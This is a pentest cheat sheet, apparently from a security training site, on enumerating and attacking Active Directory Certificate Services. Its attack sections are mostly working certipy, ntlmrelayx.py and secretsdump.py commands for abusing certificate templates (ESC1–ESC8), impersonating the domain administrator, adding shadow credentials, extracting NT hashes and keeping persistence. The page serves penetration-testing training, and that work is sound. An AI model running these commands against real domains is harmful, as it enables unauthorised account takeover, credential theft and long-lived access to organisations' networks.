Skip to main content

Want to Practice These Techniques?

Try Hackviser's interactive cyber security upskilling platform - Learn by doing!

Start Practicing Now

AD CS (Active Directory Certificate Services)

Default Ports: 80/443, 135, 445, 389/636, 88

Active Directory Certificate Services (AD CS) issues certificates in Windows domains. In pentests, AD CS misconfigurations can allow certificate-based privilege escalation, account impersonation, NTLM relay, and long-lived domain persistence.

Connect

Using Certipy

Certipy is the main AD CS enumeration and abuse tool.

certipy find -u user@domain.local -p 'Password123' -dc-ip 10.0.0.10
certipy find -u user@domain.local -p 'Password123' -dc-ip 10.0.0.10 -text -json -csv -output adcs
certipy find -u user@domain.local -p 'Password123' -dc-ip 10.0.0.10 -vulnerable

Using LDAP

AD CS objects live in the Configuration naming context.

ldapsearch -x -H ldap://dc.domain.local -D 'DOMAIN\user' -w 'Password123' \
-b 'CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local' \
'(objectClass=pKIEnrollmentService)'

ldapsearch -x -H ldap://dc.domain.local -D 'DOMAIN\user' -w 'Password123' \
-b 'CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local' \
'(objectClass=pKICertificateTemplate)'

Using Windows Tools

Native tools validate CA and template visibility from a Windows host.

certutil -config - -ping
certutil -config "CAHOST\CA-NAME" -getconfig
certutil -template
certreq -submit -config "CAHOST\CA-NAME" request.inf

Web Enrollment

Web Enrollment is important for relay and legacy enrollment testing.

curl -I http://ca.domain.local/certsrv/
curl -I https://ca.domain.local/certsrv/
curl -I http://ca.domain.local/certsrv/certfnsh.asp
curl -I http://ca.domain.local/certsrv/mscep/mscep.dll
curl -I http://ca.domain.local/certsrv/mscep_admin/

Recon

Service Detection with Nmap

Scan CA hosts for web, RPC, LDAP, SMB, and Kerberos exposure.

nmap -p 80,443,88,135,139,389,445,464,593,636,3268,3269 -sV ca.domain.local
nmap -p 80,443 --script http-title,http-headers,http-auth ca.domain.local
nmap -p 135 --script msrpc-enum ca.domain.local
nmap -p 389 --script ldap-rootdse dc.domain.local

CA Discovery

The first goal is to identify Enterprise CAs trusted by the domain.

certipy find -u user@domain.local -p 'Password123' -dc-ip 10.0.0.10 -text -output adcs
grep -Ei 'CA Name|DNS Name|Certificate Subject|Web Enrollment|User Specified SAN' adcs.txt

Template Discovery

Templates define who can request certificates and what identities they can contain.

certipy find -u user@domain.local -p 'Password123' -dc-ip 10.0.0.10 -json -output adcs
grep -Ei 'Template Name|Enrollment Rights|Client Authentication|Enrollee Supplies Subject|Manager Approval' adcs.txt

Web Endpoint Discovery

Identify /certsrv/, CES, CEP, and NDES endpoints.

ffuf -u http://ca.domain.local/FUZZ -w wordlist.txt -mc all
curl -I http://ca.domain.local/certsrv/
curl -I http://ca.domain.local/ADPolicyProvider_CEP_UsernamePassword/service.svc
curl -I http://ca.domain.local/CertSrv/mscep/mscep.dll

Enumeration

Template Permission Enumeration

Check which users or groups can enroll in each template.

certipy find -u user@domain.local -p 'Password123' -dc-ip 10.0.0.10 -enabled -text
grep -Ei 'Enrollment Rights|Extended Rights|Write Owner|Write Dacl|Write Property' adcs.txt

Vulnerable Template Enumeration

Use Certipy to highlight ESC-style template issues.

certipy find -u user@domain.local -p 'Password123' -dc-ip 10.0.0.10 -vulnerable -text -output vulnerable-adcs
cat vulnerable-adcs.txt

Web Enrollment Enumeration

Check whether web enrollment requires NTLM and whether HTTPS is enforced.

curl -I http://ca.domain.local/certsrv/
curl -I --ntlm -u 'DOMAIN\user:Password123' http://ca.domain.local/certsrv/
nmap -p 80,443 --script http-ntlm-info ca.domain.local

CA Configuration Enumeration

CA settings affect approval, request handling, and web enrollment risk.

certutil -config "CAHOST\CA-NAME" -getreg CA
certutil -config "CAHOST\CA-NAME" -getreg policy
certutil -config "CAHOST\CA-NAME" -catemplates

Attack Vectors

ESC1 User-Supplied SAN

Templates that allow client auth and user-supplied SAN can enable impersonation.

certipy req -u user@domain.local -p 'Password123' -ca CA-NAME -template VulnerableTemplate -upn administrator@domain.local -dc-ip 10.0.0.10
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.10

ESC2 Any Purpose Template

Any Purpose or broad EKU templates may be usable for authentication.

certipy find -u user@domain.local -p 'Password123' -dc-ip 10.0.0.10 -vulnerable
certipy req -u user@domain.local -p 'Password123' -ca CA-NAME -template AnyPurposeTemplate -dc-ip 10.0.0.10

ESC3 Enrollment Agent

Enrollment agent certificates can request certificates on behalf of other users.

certipy req -u user@domain.local -p 'Password123' -ca CA-NAME -template EnrollmentAgentTemplate -dc-ip 10.0.0.10
certipy req -u user@domain.local -p 'Password123' -ca CA-NAME -template UserTemplate -on-behalf-of domain\\administrator -pfx user.pfx -dc-ip 10.0.0.10

ESC4 Template ACL Abuse

Write permissions on templates can turn a safe template into an unsafe one.

certipy template -u user@domain.local -p 'Password123' -template TemplateName -save-old -dc-ip 10.0.0.10
certipy find -u user@domain.local -p 'Password123' -dc-ip 10.0.0.10 -vulnerable

ESC6 CA SAN Flag

CA-level SAN settings may allow SAN abuse even when templates look safe.

certutil -config "CAHOST\CA-NAME" -getreg policy\EditFlags
certipy req -u user@domain.local -p 'Password123' -ca CA-NAME -template User -upn administrator@domain.local -dc-ip 10.0.0.10

ESC8 NTLM Relay to Web Enrollment

HTTP enrollment endpoints that accept NTLM can be relay targets.

certipy relay -ca ca.domain.local -template DomainController
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp --adcs --template DomainController

Shadow Credentials

Certificate-based persistence may be possible through msDS-KeyCredentialLink.

certipy shadow add -u user@domain.local -p 'Password123' -account targetuser -dc-ip 10.0.0.10
certipy auth -pfx targetuser.pfx -dc-ip 10.0.0.10

Post-Exploitation

Certificate Authentication

Use issued certificates to request TGTs or authenticate as the target account.

certipy auth -pfx administrator.pfx -dc-ip 10.0.0.10
export KRB5CCNAME=administrator.ccache

NT Hash Extraction

Certificate authentication can often recover NT hashes.

certipy auth -pfx administrator.pfx -dc-ip 10.0.0.10
secretsdump.py -k -no-pass domain.local/administrator@dc.domain.local

Persistence Review

Certificates may remain valid after password changes.

certipy cert -pfx administrator.pfx -info
certutil -dump administrator.pfx

Evidence Collection

Save CA, template, and vulnerable finding outputs.

certipy find -u user@domain.local -p 'Password123' -dc-ip 10.0.0.10 -text -json -csv -output adcs-evidence

Useful Tools

ToolPurpose
certipyAD CS enumeration and abuse
certutilNative Windows CA checks
certreqNative certificate requests
ldapsearchLDAP enumeration
nmapService and endpoint checks
ntlmrelayx.pyNTLM relay to AD CS
opensslCertificate inspection

Security Misconfigurations

MisconfigurationRisk
User-supplied SAN with client authAccount impersonation
Broad enrollment rightsLow-privilege certificate abuse
Weak template ACLsTemplate takeover
Enrollment Agent abuseRequest certificates for other users
NTLM Web EnrollmentRelay to certificate issuance
Dangerous CA flagsCA-wide impersonation paths
Missing manager approvalAutomated certificate abuse
Long certificate validityLong-lived persistence
Weak monitoringCertificate abuse is harder to detect